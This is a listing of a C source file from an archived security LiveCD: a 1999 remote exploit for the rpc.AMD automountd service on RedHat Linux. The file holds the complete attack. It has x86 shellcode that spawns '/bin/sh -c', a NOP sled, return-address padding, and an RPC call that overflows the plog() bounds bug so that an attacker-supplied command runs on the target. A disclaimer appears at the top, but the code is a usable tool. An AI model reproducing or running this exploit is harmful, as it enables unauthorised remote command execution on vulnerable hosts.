home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / linux / remote / SDIamd.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  344 lines

  1. /* 
  2.  * SDI rpc.AMD automountd remote exploit for RedHat Linux
  3.  * Sekure SDI - Brazilian Information Security Team
  4.  * by c0nd0r <condor@sekure.org> - Jul/99
  5.  *  
  6.  * AMD doesn't check bounds in the plog() function, so we may
  7.  * call the procedure 7 and exploit this vulnerability.
  8.  * It has been tested under rh5.2/5.0 but this vulnerability exists in 
  9.  * all versions.
  10.  * 
  11.  * Greets: jamez, bishop, bahamas, stderr, dumped, paranoia, marty(nordo),
  12.  *         vader, fcon, slide, corb, soft distortion and specially to
  13.  *         my sasazita!  Also lots of thanks to toxyn.org(frawd,r00t),
  14.  *         pulhas.org, phibernet, superbofh(seti) and el8.org (duke). 
  15.  *         #uground (brasnet), #sdi(efnet), #(phibernet).
  16.  *           
  17.  * usage: SDIamd -h <host> -c <command> [-p <port>] [-o <offset>]
  18.  *        where -p <port> will bypass the portmap.
  19.  * 
  20.  * Warning: We take no responsability for the consequences on using this 
  21.  *          tool. DO NOT USE FOR ILICIT ACTIVITIES!
  22.  *
  23.  * Agradecimentos a todo o pessoal que vem acompanhando a lista brasileira
  24.  * de seguranca - BOS-BR <bos-br-request@sekure.org>. Fiquem ligado na
  25.  * nova pagina do grupo!
  26.  */ 
  27.  
  28. #include <stdio.h>
  29. #include <unistd.h>
  30. #include <string.h>
  31. #include <netdb.h>
  32. #include <rpc/rpc.h>
  33. #include <sys/time.h>
  34. #include <sys/types.h>
  35. #include <sys/socket.h>
  36.  
  37. #define AMQ_PROGRAM ((u_long)300019)
  38. #define AMQ_VERSION ((u_long)1)
  39. #define AMQPROC_MOUNT ((u_long)7)
  40. #define AMQ_STRLEN 1024
  41. #define XDRPROC_T_TYPE xdrproc_t
  42. #define voidp void *
  43. #define NOP 0x90
  44.  
  45. char shellcode[] =
  46.         "\xeb\x31\x5e\x89\x76\xac\x8d\x5e\x08\x89\x5e\xb0"
  47.         "\x8d\x5e\x0b\x89\x5e\xb4\x31\xc0\x88\x46\x07\x88"
  48.         "\x46\x0a\x88\x46\xab\x89\x46\xb8\xb0\x0b\x89\xf3"
  49.         "\x8d\x4e\xac\x8d\x56\xb8\xcd\x80\x31\xdb\x89\xd8"
  50.         "\x40\xcd\x80\xe8\xca\xff\xff\xff/bin/sh -c ";
  51.  
  52. //typedef bool_t (*xdrproc_t) __P ((XDR *, __ptr_t, ...));
  53. typedef char *amq_string;
  54. typedef long *time_type;
  55. typedef struct amq_mount_tree amq_mount_tree;
  56. typedef amq_mount_tree *amq_mount_tree_p;
  57.  
  58. struct amq_mount_tree {
  59.   amq_string mt_mountinfo;
  60.   amq_string mt_directory;
  61.   amq_string mt_mountpoint;
  62.   amq_string mt_type;
  63.   time_type mt_mounttime;
  64.   u_short mt_mountuid;
  65.   int mt_getattr;
  66.   int mt_lookup;
  67.   int mt_readdir;
  68.   int mt_readlink;
  69.   int mt_statfs;
  70.   struct amq_mount_tree *mt_next;
  71.   struct amq_mount_tree *mt_child;
  72. };
  73.  
  74. bool_t
  75. xdr_amq_string(XDR *xdrs, amq_string *objp)
  76. {
  77.   if (!xdr_string(xdrs, objp, AMQ_STRLEN)) {
  78.     return (FALSE);
  79.   }
  80.   return (TRUE);
  81. }
  82.  
  83. bool_t
  84. xdr_time_type(XDR *xdrs, time_type *objp)
  85. {
  86.   if (!xdr_long(xdrs, (long *) objp)) {
  87.     return (FALSE);
  88.   }
  89.   return (TRUE);
  90. }
  91.  
  92. bool_t
  93. xdr_amq_mount_tree(XDR *xdrs, amq_mount_tree *objp)
  94. {
  95.  
  96.   if (!xdr_amq_string(xdrs, &objp->mt_mountinfo)) {
  97.     return (FALSE);
  98.   }
  99.  
  100.   if (!xdr_amq_string(xdrs, &objp->mt_directory)) {
  101.     return (FALSE);
  102.   }
  103.  
  104.   if (!xdr_amq_string(xdrs, &objp->mt_mountpoint)) {
  105.     return (FALSE);
  106.   }
  107.  
  108.   if (!xdr_amq_string(xdrs, &objp->mt_type)) {
  109.     return (FALSE);
  110.   }
  111.  
  112.   if (!xdr_time_type(xdrs, &objp->mt_mounttime)) {
  113.     return (FALSE);
  114.   }
  115.  
  116.   if (!xdr_u_short(xdrs, &objp->mt_mountuid)) {
  117.     return (FALSE);
  118.   }
  119.  
  120.   if (!xdr_int(xdrs, &objp->mt_getattr)) {
  121.     return (FALSE);
  122.   }
  123.  
  124.   if (!xdr_int(xdrs, &objp->mt_lookup)) {
  125.     return (FALSE);
  126.   }
  127.  
  128.   if (!xdr_int(xdrs, &objp->mt_readdir)) {
  129.     return (FALSE);
  130.   }
  131.  
  132.   if (!xdr_int(xdrs, &objp->mt_readlink)) {
  133.     return (FALSE);
  134.   }
  135.  
  136.   if (!xdr_int(xdrs, &objp->mt_statfs)) {
  137.     return (FALSE);
  138.   }
  139.  
  140.   if (!xdr_pointer(xdrs, (char **) &objp->mt_next, sizeof(amq_mount_tree), (XDRPROC_T_TYPE) xdr_amq_mount_tree)) {
  141.     return (FALSE);
  142.   }
  143.  
  144.   if (!xdr_pointer(xdrs, (char **) &objp->mt_child, sizeof(amq_mount_tree), (XDRPROC_T_TYPE) xdr_amq_mount_tree)) {
  145.     return (FALSE);
  146.   }
  147.  
  148.   return (TRUE);
  149. }
  150.  
  151. bool_t
  152. xdr_amq_mount_tree_p(XDR *xdrs, amq_mount_tree_p *objp)
  153. {
  154.   if (!xdr_pointer(xdrs, (char **) objp, sizeof(amq_mount_tree), (XDRPROC_T_TYPE) xdr_amq_mount_tree)) {
  155.     return (FALSE);
  156.   }
  157.   return (TRUE);
  158. }
  159.  
  160.  
  161. int usage ( char *arg) {
  162.   printf ( "Sekure SDI - AMD remote exploit for linux\n");
  163.   printf ( "usage: %s -h <host> -c <command> [-o <offset>] [-p <port>] [-u] \n", arg);
  164.   printf ( " where: [port] will bypass portmap\n");
  165.   printf ( "        [-u  ] will use udp instead of tcp\n");
  166.   exit (0);
  167. }
  168.  
  169.  
  170. int *amqproc_mount_1(voidp argp, CLIENT *clnt);
  171.  
  172.  
  173. int main ( int argc, char *argv[] ) {
  174.   CLIENT *cl;
  175.   struct timeval tv;
  176.   struct sockaddr_in sa;
  177.   struct hostent *he; 
  178.   char buf[8000], *path = buf, comm[200], *host, *cc;
  179.   int sd, res, x, y, offset=0, c, port=0, damn=0, udp=0;  
  180.   long addr = 0xbffff505;
  181.  
  182.   while ((c = getopt(argc, argv, "h:p:c:o:u")) != -1)
  183.     switch (c) {
  184.     case 'h':
  185.       host = optarg;
  186.       break;
  187.  
  188.     case 'p':
  189.       port = atoi(optarg);
  190.       break;
  191.  
  192.     case 'c':
  193.       cc = optarg;
  194.       break;
  195.  
  196.     case 'o':
  197.       offset = atoi ( optarg);
  198.       break;
  199.  
  200.     case 'u':
  201.       udp = 1;
  202.       break;
  203.  
  204.     default:
  205.       damn = 1;
  206.       break;
  207.    }
  208.  
  209.   if (!host || !cc || damn) usage ( argv[0]);
  210.  
  211.   sa.sin_family = AF_INET;
  212.   he = gethostbyname ( host);
  213.   if (!he) {
  214.    if ( (sa.sin_addr.s_addr = inet_addr ( host)) == INADDR_NONE) {
  215.     printf ( "unknown host, try again pal!\n");
  216.     exit ( 0);
  217.    }
  218.   } else 
  219.    bcopy ( he->h_addr, (struct in_addr *) &sa.sin_addr, he->h_length); 
  220.   sa.sin_port = htons(port);
  221.   sd = RPC_ANYSOCK;
  222.   tv.tv_sec = 10;
  223.   tv.tv_usec = 0;
  224.  
  225.   snprintf ( comm, sizeof(comm), "%s", cc);
  226.   if ( strlen(comm) >= 160) {
  227.     printf ( "command too long\n");
  228.     exit (0);
  229.   } else {
  230.    comm[strlen(comm)] = ';';
  231.    for ( x = strlen(comm); x < 160; x++)
  232.     comm[x] = 'A'; 
  233.   }  
  234.  
  235.   addr += offset;
  236.   for ( x = 0; x < (1001-(strlen(shellcode)+strlen(comm))); x++)
  237.    buf[x] = NOP;
  238.  
  239.   for ( y = 0; y < strlen(shellcode); x++, y++)
  240.    buf[x] = shellcode[y];
  241.  
  242.   for ( y = 0; y < strlen(comm); x++, y++)
  243.    buf[x] = comm[y];  
  244.  
  245.   printf ( "SDI automountd remote exploit for linux\n");
  246.   printf ( "Host %s \nRET 0x%x \nOFFset %d \n", host, addr, offset); 
  247.  
  248.   for ( ; x < 1020; x+=4) {
  249.    buf[x  ] = (addr & 0x000000ff);
  250.    buf[x+1] = (addr & 0x0000ff00) >> 8;
  251.    buf[x+2] = (addr & 0x00ff0000) >> 16;
  252.    buf[x+3] = (addr & 0xff000000) >> 24;
  253.   }
  254.  
  255.   buf[strlen(buf)] = '\0';  
  256.   
  257.   if (!udp) {
  258.    if ((cl = clnttcp_create(&sa, AMQ_PROGRAM, AMQ_VERSION, &sd, 0, 0)) ==
  259.         NULL)
  260.    {
  261.      clnt_pcreateerror("clnt_create");
  262.      exit (-1);
  263.    }
  264.   } else {
  265.    if ((cl = clntudp_create(&sa, AMQ_PROGRAM, AMQ_VERSION, tv, &sd)) ==
  266.        NULL)
  267.    {
  268.      clnt_pcreateerror("clnt_create");
  269.      exit (-1);
  270.    }
  271.   }
  272.   printf ( "PORT %d \n", ntohs(sa.sin_port));
  273.   printf ( "Command: %s \n", cc); 
  274.  
  275.   amqproc_mount_1 (&path, cl); 
  276.   
  277.   clnt_destroy ( cl);
  278.   
  279. }
  280.  
  281.   
  282. int *
  283. amqproc_mount_1(voidp argp, CLIENT *clnt)
  284. {
  285.   static int res;
  286.   struct timeval TIMEOUT = {10, 0};
  287.  
  288.   memset((char *) &res, 0, sizeof(res));
  289.   if (clnt_call(clnt, AMQPROC_MOUNT, (XDRPROC_T_TYPE) xdr_amq_string, argp,
  290.                 (XDRPROC_T_TYPE) xdr_int, (caddr_t) & res,
  291.                 TIMEOUT) != RPC_SUCCESS) {
  292.     printf ( "voce e' um hax0r!\n");
  293.     printf ( "don't forget to restart amd: /etc/rc.d/init.d/amd start\n");
  294.     clnt_perror ( clnt, "clnt_call");
  295.     return (NULL);
  296.   } 
  297.   printf ( "exploit failed\n");
  298.   return (&res);
  299. }
  300.  
  301.  
  302.  
  303.  
  304.  
  305.  
  306.  
  307.  
  308.  
  309.  
  310.  
  311.  
  312.  
  313.  
  314.  
  315.  
  316.  
  317.  
  318.  
  319.  
  320.  
  321.  
  322.  
  323.  
  324.  
  325.  
  326.  
  327.  
  328.  
  329.  
  330.  
  331.  
  332.  
  333.  
  334.  
  335.  
  336.  
  337.  
  338.  
  339.  
  340.  
  341.  
  342.  
  343.  
  344.